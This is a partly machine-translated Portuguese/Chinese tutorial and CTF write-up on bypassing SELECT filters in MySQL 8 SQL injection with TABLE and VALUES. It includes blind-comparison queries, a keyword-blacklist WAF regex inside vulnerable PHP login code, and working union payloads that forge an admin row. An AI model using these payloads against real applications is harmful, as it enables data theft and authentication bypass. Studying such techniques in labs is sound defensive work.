Este artigo está participando da atividade "Technical Topic 19 Discussion on Database Technology"
prefácio
O que trago para vocês hoje é a injeção de recursos da versão MYSQL8. Você deve estar familiarizado com a injeção de SQL, mas já pensou em como executar instruções SQL quando a função mais crítica SELECT na injeção de SQL é filtrada? , é isso que este artigo vai falar, ou seja, usar os recursos da versão MYSQL8 para contornar a injeção de palavras-chave.
conhecimento básico
Como a configuração do MYSQL8 não é o foco deste artigo, você pode consultar o link abaixo para configurá-lo você mesmo:
tabela
Documentação oficial:
A função table é uma função recém-adicionada na versão MYSQL8 . Sua função é semelhante à função select . Sua função é listar todas as informações da tabela. A sintaxe padrão é a seguinte:
TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]
复制代码
Se usarmos a função de tabela para consultar o conteúdo da tabela de usuários , a seguinte instrução pode ser usada:
table users;
复制代码
Podemos ver que a função de tabela pode ser equivalente à seguinte instrução de consulta regular:
select * from users;
复制代码
Os resultados da consulta das duas instruções acima são consistentes. Ao mesmo tempo, a tabela oferece suporte à consulta conjunta UNION , ORDER BY e outras restrições, mas a diferença entre ela e SELECT pode ser resumida nos dois pontos a seguir:
1. Quando usamos a instrução table para consultar, todas as colunas da tabela são sempre exibidas.
2. Não podemos usar a cláusula where para limitar uma linha específica.
valores
Documentação oficial:
MYSQL8中另一个新增的函数,用法可以概括为函数后跟一个或多个行构造函数的列表,可以构造一个表,规范语法如下:
VALUES row_constructor_list [ORDER BY column_designator] [LIMIT number]
row_constructor_list:
ROW(value_list)[, ROW(value_list)][, ...]
value_list:
value[, value][, ...]
column_designator:
column_index
复制代码
比如我们要用values函数构造一个表,可以参考下面图片理解:
需要我们注意的是,values函数可以配合联合查询来达到SQL注入的效果,例如:
select * from user union VALUES ROW(2,3)
复制代码
比较特性
了解了上面两个函数之后,下面来说一下MYSQL中的比较特性,该特性是我们在进行MYSQL8特性盲注中必须要理解的点,我们通过下面语句去查询表(利用TABLESPACES_EXTENSIONS):
table information_schema.TABLESPACES_EXTENSIONS limit 6,1;
复制代码
查询到了以下的内容:
假设我们用小于号去进行比较:
select (('u','')<(table information_schema.TABLESPACES_EXTENSIONS limit 6,1));
复制代码
返回了数据为1,之后我们再用u的后面一位进行比较:
select (('v','')<(table information_schema.TABLESPACES_EXTENSIONS limit 6,1));
复制代码
返回了数据为0,这时我们会思考为什么字母为u时返回了数据1,毕竟比较后为等于,这里利用了特性,因为我们字符u比较后为小于等于,所以我们需要将比较后结果字符的ASCII码减1才是真正的结果,所以我们在进行注入时得出的结果要将其ASCII码减1后转换。我们再看下面的例子:
select (('数据','','')<(table users.users limit 0,1));
复制代码
我们通过上面的语句去进行字段数据的爆破,参考下面的图:
我们在整型的地方输入了字符型的数据,比较时字符型会被强制转换成了整形,可以看到爆出了第一位数据为1,但需要注意当我们用下面查询语句进行注入:
select (('1xino','','')<(table users.users limit 0,1));
复制代码
返回的数据还是1,这就很奇怪了,说以我们要注意因为字符型与整型比较会存在强制转换,所以比较会一直持续下去,我们写脚本的时候需要注意这个问题。
MYSQL8特性注入实例
实例一
我们进入实例环境给了我们如下的提示:
Precisamos injetar os dados do e-mail e solicitar que passemos o parâmetro id. Depois de tentar, descobrimos que o select é filtrado, então consideramos se é possível realizar a injeção de recursos do mysql8:
?id=8 union table emails limit 8,1 --+
复制代码
Ecoou com sucesso os dados do e-mail para nós:
Após acessar, obtivemos um pacote compactado e encontramos o código-fonte após a abertura:
<?php
include "./config.php";
// error_reporting(0);
// highlight_file(__FILE__);
$conn = mysqli_connect($hostname, $username, $password, $database);
if ($conn->connect_errno) {
die("Connection failed: " . $conn->connect_errno);
}
echo "Where is the database?"."<br>";
echo "try ?id";
function sqlWaf($s)
{
$filter = '/xml|extractvalue|regexp|copy|read|file|select|between|from|where|create|grand|dir|insert|link|substr|mid|server|drop|=|>|<|;|"|^|||\ |'/i';
if (preg_match($filter,$s))
return False;
return True;
}
if (isset($_GET['id']))
{
$id = $_GET['id'];
$sql = "select * from users where id=$id";
$safe = preg_match('/select/is', $id);
if($safe!==0)
die("No select!");
$result = mysqli_query($conn, $sql);
if ($result)
{
$row = mysqli_fetch_array($result);
echo "<h3>" . $row['username'] . "</h3><br>";
echo "<h3>" . $row['passwd'] . "</h3>";
}
else
die('<br>Error!');
}
if (isset($_POST['username']) && isset($_POST['passwd']))
{
$username = strval($_POST['username']);
$passwd = strval($_POST['passwd']);
if ( !sqlWaf($passwd) )
die('damn hacker');
$sql = "SELECT * FROM users WHERE username='${username}' AND passwd= '${passwd}'";
$result = $conn->query($sql);
if ($result->num_rows > 0) {
$row = $result->fetch_assoc();
if ( $row['username'] === 'admin' && $row['passwd'] )
{
if ($row['passwd'] == $passwd)
{
die($flag);
} else {
die("username or passwd wrong, are you admin?");
}
} else {
die("wrong user");
}
} else {
die("user not exist or wrong passwd");
}
}
mysqli_close($conn);
?>
复制代码
Uma análise simples exige que atendamos às seguintes condições:
$row['username'] === 'admin'
row['passwd'] == $passwd
复制代码
Ao mesmo tempo, precisamos que o resultado da instrução de consulta seja maior que uma linha e deve haver um usuário administrador na tabela de usuários . Precisamos criar uma tabela virtual. Isso é familiar? Pensamos que poderíamos usar os valores função:
GET:?id=-1%20union%20table%20emails%20limit%207,1
POST:username=-1' union values row("1","admin","1")%23&passwd=1
复制代码
Exemplo dois
Depois de entrar na instância é uma caixa de login:
Deu-nos uma dica do código-fonte, porque o código é muito longo, então aqui estão os lugares mais importantes:
if (isset($_POST['username']) && isset($_POST['password'])) {
if (!isset($_SESSION['VerifyCode']))
die("?");
$username = strval($_POST['username']);
$password = strval($_POST['password']);
if ( !sqlWaf($password) )
alertMes('damn hacker' ,"./index.php");
$sql = "SELECT * FROM users WHERE username='${username}' AND password= '${password}'";
if ( $row['username'] === 'admin' && $row['password'] )
{
if ($row['password'] == $password)
{
$message = $FLAG;
} else {
$message = "username or password wrong, are you admin?";
}
复制代码
Você pode ver que vamos POST para passar em dois parâmetros, nome de usuário e senha . Ao mesmo tempo, o seguinte WAF não nos permite usar o select para consultar. Uma vez que a função proibida pelo WAF é usada, ele retornará ao principal página. O conteúdo do WAF é o seguinte:
function sqlWaf($s)
{
$filter = '/xml|extractvalue|regexp|copy|read|file|select|between|from|where|create|grand|dir|insert|link|substr|mid|server|drop|=|>|<|;|"|^|||\ |'/i';
if (preg_match($filter,$s))
return False;
return True;
}
复制代码
As condições de usuário e senha são semelhantes ao Exemplo 1, que também nos permite inserir o usuário administrador, então usamos a função de recurso do mysql8:
username=-1' union values row("xino","admin","xino")%23&passwd=xino
复制代码
epílogo
Compartilhei com você o conhecimento sobre a injeção de recursos do MYSQL8. Não sei se você aprendeu. Em resumo, a injeção de recursos do MYSQL8 ainda é desenvolvida em torno das duas novas funções do MYSQL8. Os parceiros interessados podem criar seu próprio ambiente para tentar manualmente. Experimente, de um modo geral é muito interessante. Amigos que gostam deste artigo esperam apoiá-lo com um clique.